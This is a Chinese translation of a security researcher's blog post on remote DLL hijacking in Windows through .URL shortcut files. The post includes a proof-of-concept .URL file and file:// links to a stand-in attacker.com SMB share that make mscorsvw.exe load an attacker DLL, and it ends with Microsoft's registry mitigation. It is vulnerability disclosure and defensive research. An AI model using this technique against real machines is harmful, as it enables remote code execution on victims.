獨闢蹊徑：如何通過URL文件實現DLL劫持

獨闢蹊徑：如何通過URL文件實現DLL劫持

來自專欄 安全客

概述

在第三方Windows應用程序中，存在一個允許執行本地文件的漏洞，然而該漏洞卻不支持帶參數執行。因此，我決定在Windows中再找到一個其他的漏洞，以此來實現想要的漏洞利用。

問題描述

此前，我多次遇到過一個帶有漏洞的應用程序，可以允許執行本地文件。這就意味著，攻擊者控制的字元串會以ShellExecute（ https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx ）之類的Windows API調用結束，儘管系統調用自身並不重要。但這裡有一個問題，就是我實際上無法控制任何參數。舉例來說，我能夠傳遞 file:///c:/windows/system32/cmd.exe ，但實際上無法執行任何惡意Payload，而只能簡單地打開了cmd.exe。對於calc.exe、powershell.exe等等也是同樣，這樣一來使得漏洞就沒有了任何實用價值。

於是，我開始不斷思考，如何能夠濫用這種漏洞，並使其真正執行攻擊者所自定義的程序代碼：

思路1：藉助下載文件夾

我們可以想到的第一種方法，就是藉助受漏洞影響的應用程序來觸發文件下載。一旦文件被下載，漏洞可能會被再次觸發，從而可以執行下載的文件。但經過研究，使用這種思路會有兩個問題：

首先，它要求我能夠在沒有用戶交互的情況下，觸發文件的下載。

其次，假如能夠滿足上述要求，Windows中還存在另一個阻礙——用於下載文件的Zone模型，或確切地說，是Zone.Identifiers。

接下來，我們介紹一下Zone.Identifiers。

如果文件（通過網頁瀏覽器等方式）被下載，Windows會向文件中添加一個名為Zone.Identifier的可選數據流（Alternative Data Stream， https://blogs.msdn.microsoft.com/jerrydixon/2007/09/20/alternate-data-streams/ ）。簡單地說，可選數據流是一個數據（二進位或文本等），它並不存儲於文件之中，而是鏈接到另一個文件。讀取一個可選數據流的語法如下：<realfileOnDisk>:<ADSName>（<磁碟上的真實文件>:<可選文件流名稱>）。

而具體到下載文件的場景中，這些附加信息描述了文件是從哪個區域下載的。在這裡，我沒有對這個模型及其具體含義進行深入討論，但簡短地說：如果從http://example.com這樣的域名下載文件，該文件將被分配一個值為3的Zone ID：

>dir /R downloaded.exedownloaded.exe:Zone.Identifier:$DATA>notepad downloaded.exe:Zone.Identifier[ZoneTransfer]ZoneId=3

不同值所對應的標記如下：

0 —— URLZONE_LOCAL_MACHINE（本地）

1 —— URLZONE_INTRANNET（內網）

2 —— URLZONE_TRUSTED（可信位置）

3 —— URLZONE_INTERNET（互聯網）

4 —— URLZONE_UNTRUSTED（不可信位置）

只要Zone ID大於2，Windows就會針對潛在的不安全文件顯示以下警告對話框：

由於我想要在不進行點擊的前提下實現下載，所以就必須要找到一個安全的擴展名，既能執行惡意Payload，同時也不受這一防護機制的保護。由於Windows中這一功能特性已經存在了很長時間，因此可能無法找到合適的突破口，所以我們必須繼續嘗試其他方法。

在這裡，需要提到的是，我發現某些第三方擴展名（例如Python的.py文件）就繞過了這種保護，但前提是目標主機需要先安裝Python，並且Python可執行文件位於環境變數中。

思路2：SMB/UNC路徑

在我放棄了下載文件的思路之後，我開始考慮SMB/UNC路徑。在Windows上，可以使用 file:/// 協議處理程序來打開和遠程執行SMB共享文件，格式如下：

file://attacker.com/SMBShare/fileYouWantoToOpen

我的第一個天真的想法是：由於這個文件託管在遠程SMB共享上，所以就沒有Zone.Identifier可選數據流的存在，並且任何文件都會毫不猶豫地執行。我需要做的就是創建一個惡意文件，並將其託管在我的SMB共享上，設置該文件可以被公開訪問，並將適當的file協議URL傳遞給受漏洞影響的應用程序。

然而，這個想法被證明是錯誤的。我們只需要看一下這兩個例子：

file://attacker.com/SMBShare/evil.exefile://attacker.com/SMBShare/test.bat

經過嘗試，仍然會顯示出於之前相同的警告對話框，這種方式顯然也是不行的。作為最後的嘗試，我開始在Windows上使用惡意文件擴展列表，這些列表曾經被惡意軟體所使用過，並且我還按照自己的思路在其中添加了一些。然後，我為每一個擴展名都創建了一個文件，將它們上傳到我的遠程SMB共享中，並執行它們。

最終答案：URL

在完成擴展名的枚舉之後，我發現，.URL文件能夠從遠程SMB共享中執行，並且沒有出現任何警告對話框（ file://http://attacker.com/SMBShare/test.URL ）。我們很熟悉以下的.URL結構：

鏈接到本地文件：

[InternetShortcut]

URL=C:windowssystem32cmd.exe

鏈接到HTTP資源：

[InternetShortcut]

URL=http://example.com

同樣，這裡不允許傳遞任何參數，我們似乎又回到了最初的起點。但幸好，我在網上找到了其他研究者（ http://www.lyberty.com/encyc/articles/tech/dot_url_format_-_an_unofficial_guide.html ）記錄的.URL文件的所有支持屬性，所以我決定看一看：

The classic URL file format is pretty simple; it has a format similar to an INI file:Sample URL File:_______________________________________________________[InternetShortcut]URL=http://www.someaddress.com/WorkingDirectory=C:WINDOWSShowCommand=7IconIndex=1IconFile=C:WINDOWSSYSTEMurl.dllModified=20F06BA06D07BD014DHotKey=1601_______________________________________________________

我認為，其中的WorkingDirectory是用於自解釋的，但它允許設置由URL指令指定的應用程序工作目錄。在這裡，我立刻就想到了DLL劫持。這種漏洞在2010年到2011年之間特別常見，但至今仍然存在。如果這個應用程序存在DLL劫持漏洞，那麼就可以從當前工作目錄，而不是其應用程序文件夾、Windows文件夾等載入受攻擊者控制的DLL。

受到啟發，我有了如下思路：

[InternetShortcut]URL=file:///c:/<pathToAnApplication>WorkingDirectory=attacker.comSMBShare

也許我可以通過URL指令，指定一個標準的Windows應用程序，將工作目錄設置為我的SMB共享，並強制其從我的遠程共享中載入一個DLL。我編寫了一個Python腳本，按照以下邏輯來執行：

1、遍歷C:Windows及其子文件夾中的所有.exe文件（由於我只對默認存在的應用程序感興趣）；

2、在SMB共享中，為之前遍歷到的每一個應用程序，創建一個.URL，URL指令指向目標應用程序，WorkingDirectory設置為遠程SMB共享；

3、獲取所有當前正在運行進程的列表，用於後續比對；

4、啟動ProcessMonitor（ https://docs.microsoft.com/en-us/sysinternals/downloads/procmon ）；

5、設置篩選器，使其只顯示路徑指向遠程共享且以.DLL結尾的條目；

6、執行.URL文件，例如 file://http://attacker.com/SMBShare/poc1.URL ；

7、獲取所有當前正在運行的進程列表；

8、將新獲取到的列表與步驟3中創建的進程列表進行對比，記錄執行的.URL文件和所有新生成的進程，將所有新派生的進程終止以保證足夠的系統資源；

9、重複步驟6、7、8，直到所有創建的.URL文件都已經執行。

在該腳本運行完成後，ProcessMonitor中將顯示潛在可執行文件的列表，這些可執行文件可能存在DLL劫持的漏洞。接下來，要檢查每個條目，對其進行棧跟蹤，並找出LoadLibrary。這是用於檢查是否存在DLL劫持漏洞的最簡單、最明顯方法，儘管並非完美，但我們希望能藉助這種基本的方法來找到目標。

在測試過程中，我是在64位Windows 10系統的筆記本電腦上運行此腳本。如果各位讀者想要親自嘗試這種方法，請從列表中刪去「audit.exe」，因為它會重新啟動計算機。

測試結果

首先，我的結果中存在很多誤報情況，至今令我非常困惑，因為我認為不應該發生誤報。

當我發表這篇文章時，我肯定是已經嘗試成功了。我的電腦中受漏洞影響的應用程序是與筆記本電腦的觸摸板有關，因此我對其進行了卸載。具體來說，我發現了以下Procmon條目：

我將自己的DLL放到SMB共享之中，並將該DLL重命名為mscorsvc.dll，從而創建一個消息框，防止萬一該DLL被載入。現在，我再次執行該.URL文件，文件實際上會載入mscorsvw.exe，並觀察到如下信息：

我的DLL已經成功從遠程共享載入。不僅如此，我的DLL的消息框也成功彈出，這就意味著我自定義的代碼被成功執行了。

為了確保萬無一失，我在C:windowssystem32driversetchosts文件中添加了一個靜態DNS條目，並將http://attacker.com映射到了區域網內的另一台Windows主機上，來對這一過程進行復現和驗證。之後，我通過將.URL文件和DLL文件放在本地http://attacker.com主機上的方法，對PoC進行了測試，創建了一個完全可訪問的SMB共享，並從我的測試主機上執行了Payload，證明該方法確實有效。

總而言之，這是我相處的概念驗證方法（另外，這不是我發現的唯一一個受漏洞影響的應用程序）：

[InternetShortcut]URL=C:windowsWinSxSx86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667mscorsvw.exeWorkingDirectory=attacker.comSMBShare

mscorsvw.exe將從遠程smb共享載入mscorsvc.dll。

攻擊過程總結

我們對這次攻擊過程進行一下總結：

1、發現一個應用程序存在漏洞，允許執行不帶參數的文件。

2、我利用了這一漏洞，載入文件 file://http://attacker.com/SMBShare/poc.URL 。

3、該.URL文件包含上面所述的結構。

4、最後，我的惡意mscorsvc.dll文件將會被載入，成功實現攻擊。

PoC存在的問題

我的概念驗證仍然存在一些問題。首先，如果要成功實現，需要目標主機允許出站SMB連接。此外，我發現的受漏洞影響的應用程序都位於WinSxS中，其路徑包含版本信息，這也就意味著Windows版本、語言和應用程序版本都可能對路徑產生影響。

同樣，這種攻擊方式也會在目標用戶使用explorer.exe查看遠程SMB共享並雙擊.URL文件時成功實現。

防範方法

我向微軟報告了該問題，微軟工作人員表示可以成功復現。之後，我得到如下回應：

「您是否可以在啟用以下註冊表設置的情況下重現此攻擊？通過設置以下註冊表項，我們發現CWD網路共享DLL載入會停止。」

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession Manager]"CWDIllegalInDllSearch"=dword:ffffffff

經過確認，我發現經過上述設置（需要重新啟動計算機）之後可以停止從遠程SMB共享載入DLL，因此可以防範本文所述的攻擊方式。隨後，我獲得了微軟團隊關於發布此漏洞詳情的允許：

「感謝您的確認。工程師團隊建議，由於這一註冊表項可以防範此攻擊，因此用戶可以自行對計算機進行防護，我們可能不會通過安全更新解決這一問題。此外，您可以將上述漏洞細節發布到網路，特別是其中的防範方法。」

譯文聲明

本文是翻譯文章，文章原作者，文章來源：https://insert-script.blogspot.co.uk/

原文地址：https://insert-script.blogspot.co.uk/2018/05/dll-hijacking-via-url-files.html

作者:eridanus96

推薦閱讀：